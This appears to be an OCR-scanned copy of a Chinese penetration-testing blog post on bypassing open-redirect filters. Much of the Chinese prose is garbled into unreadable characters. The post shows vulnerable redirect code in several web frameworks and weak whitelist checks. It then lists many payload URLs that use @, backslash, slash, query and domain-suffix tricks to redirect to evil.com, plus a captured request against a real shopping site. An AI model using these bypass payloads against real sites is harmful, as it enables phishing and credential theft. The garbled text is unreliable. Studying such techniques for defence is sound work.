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Unvalidated redirects and forwards are possible when a web application
accepts untrusted input that could cause the web application to redirect the
request to a URL contained within untrusted input. By modifying untrusted URL
input to a malicious site, an attacker may successfully launch a phishing scam
and steal user credentials.

AMEREAEERRENGCE: WGEZAFMANEE, P — REEEHNLE, TSRS I XA
F##EIRENTIR TERES CHMAGRIIEROL.

I AEEXRENE? EINKT I—MERURLBEES500$8, 100087, ERASOEEAFL- BT 7i8HALE

https://landgrey.me/open-redirect-bypass/ 1/6


https://landgrey.me/open-redirect-bypass/
https://landgrey.me/author/LandGrey/
https://landgrey.me/tag/pentesting/
https://landgrey.me/tag/cyber-security/
https://landgrey.me/tag/webvuln/

2019/9/14 URLBb % RiFbypass/&: - LandGrey's blog

ox00: miAps
URLBKERRANEINZSRZ2EIMN, BINERNREEABIE AT :

GRS B AR B URLB R, BB IRASASRNIE /AN X AR ;
FACHSIN B AN, FTHCT 8 UG ST AR A, ACRE R AR R s ;

X NS — LA AR R A (A BT U1/ Pfk /B2 R, &R, Rpised;
JRUGE 5 B AOARTURL AT 1) B 2078 1 B2 A T sy R AR A, T e i
JIRTE T o RS A/ AARRE . 0 YA XS AR AEURL WM SO AT AL P4 72 S 1 S Bl oo

O W

ESEDEREMZEN, —HKIEIREREERZNNIY., BEENNREDE, MULURERSER, BY
BIA, SpiFrEaaepayload, BREEITE@burpsuite) BB, BFEE, NAEANER.
HFAEESXIHTTPIMYAISEIIFIBk LR EAISCIMA—E, FRLAaT e BN EiME S aiEZ S ENFIEA .
TRREEREELUTI LM

P ER G—F e, AEEE 2Bk
R, oW FId )G, 2Bkl

Bl NIES AR, =Bk

uh A T T I R, b

o =

BEURSHE:

redirect
redirect to
redirect url
url

Jump
jump_to
target

to

link

linkto
domain
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Java:
response. sendRedirect (request. getParameter ("url”)) ;

PHP:
$redirect url = $ GET[ url’ ];
header ("Location: ” . $redirect url);

.NET:
string redirect url = request.QueryString[”url”];
Response. Redirect (redirect url) ;

Django:
redirect url = request.GET. get ("url”)
HttpResponseRedirect (redirect url)

Flask:
redirect url = request. form[ url’ ]
redirect (redirect url)
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Rails:

redirect to params[:url]
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REHAIRS, SEEERIREY ST XA T:
https://www. landgrey. me/redirect. php?url=http://www. evil. com/untrust. html
AN
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https://www. landgrey. me/redirect. php?url=https://www. evil. com/untrust. html
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<{?php
$redirect url = § GET[ url’ ];
if(strstr ($redirect url, “www. landgrey.me”) !== false) {

header ("Location: ” . $redirect url);
}

elsef{
die ("Forbidden”) ;

——

ged:

https://www. landgrey. me/redirect. php?url=http://www. landgrey. me. www. evil. com/untrust. html
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Raw | Params | Headers | Hex Raw | Headers | Hex | HTML T Render ]
GET "

HTTP/1.1 302 Moved Temporarily

flow/nc?campld=53&ad _id=108&mat=170&unit=94&type=1&price=16000 [ Server: openresty/1.97.1
&day=14111101748uuid=c0d7c157-a116-4334-¢ Blloe= Date: Sun, 10 Dec 2017 11:59:01 GMT
1&toghttpsywww.jd.com.Jandgrey.me/|HTTP/1.1 Content-Type: text/html
Host: l.com Content-Length: 166
User-Agent: Mozilla/5.0 (WVindows NT 10.0; "WO'W64; rv:56.0) Connection: close
Gecko/20100101 Firefox/56.0 Set-Cookie: flow_site_ad= om_53 94 10_170_20171210195901;path=/;domain=
Accept: text/html application/xhtml+xml, applicationfxml;q=0.9,**,g=08 Set-Cookie: mt_subsite=170_10;domain=jd.com
Accept-Language: zh-CNzh;q=0.8,en-US;q=05,en;q=0.3 Set-Cookie: mt ext={"unt":"2017-12-10 19:59:01","rf":0,"stp":nulll:domain=jd.com
Accept-Encoding: gzip, deflate Location: httpsy//www d.comlandgrey.me/*from=_  10&loc=1
Cookie: mt_subsite=170_10; mt_ext={"unt":"2017-12-10
18:36:31","rf":0,"stp"null}; <html=
flow _site_ad= n_53.94 10170 20171210183631 zhead> =title = 302 Found < /title = < fhead=
DMNT: 1 =body bgeelor="white"=
Connection: close zcenters <h1=302 Found=</h1= < fcenters
Upgrade-Insecure-Requests: 1 <hr=<center=openresty/1.9.7.1 = /center=
</bodys
< /html=
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redirect url = request.GET.get ("url")

if redirect url.endswith('landgrey.me'):
HttpResponseRedirect (redirect url)

else:

HttpResponseRedirect ("https://www.landgrey.me")
Zid:
https://www. landgrey. me/redirect. php?url=http://www. evil. com/www. landgrey. me
&L M xxxlandgrey.meliiz, AESHS

https://www. landgrey. me/redirect. php?url=http://xxxlandgrey. me
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https://www. landgrey. me/redirect. php?url=https://www. baidu. com/1inkurl=iMwwNDM6ahaxKkSFuOG
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https://www. landgrey. me/redirect. php?url=https://auth. landgrey. me/ jump. do?url=evil. com
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https://landgrey. me/%2Fevil%252Ecom
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https://landgrey. me/redirect. php?url=http://www. evil. com\. landgrey. me
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https://www. landgrey. me/redirect. php?url=/www. evil. com
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https://www. landgrey. me/redirect. php?url=//www. evil. com
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https://www. landgrey. me/redirect. php?url=///www. evil. com

https://www. landgrey. me/redirect. php?url=////www. evil. com
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https://www. landgrey. me/redirect. php?url=https://www. landgrey. me@www. evil. com
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https://www. landgrey. me/redirect. php?url=https://www. evil. com\www. landgrey. me
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https://www. landgrey. me/redirect. php?url=https://www. evil. comttwww. landgrey. me
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https://www. landgrey. me/redirect. php?url=https://www. evil. com?www. landgrey. me
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https://www. landgrey. me/redirect. php?url=https://www. evil. com\\www. landgrey. me
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https://www. landgrey. me/redirect. php?url=. evil (AT BBk %% Bllwww. landgrey. me. evilig44)
https://www. 1andgrey me/redirect. php?url=. evil. com (TR Bk Bllevil. comii42)
10. EERR TSR

https.//www.1andgrey.me/redirect.php?urlz///www.evil.com//.

https://www. landgrey. me/redirect. php?url=////www. evil. com//.
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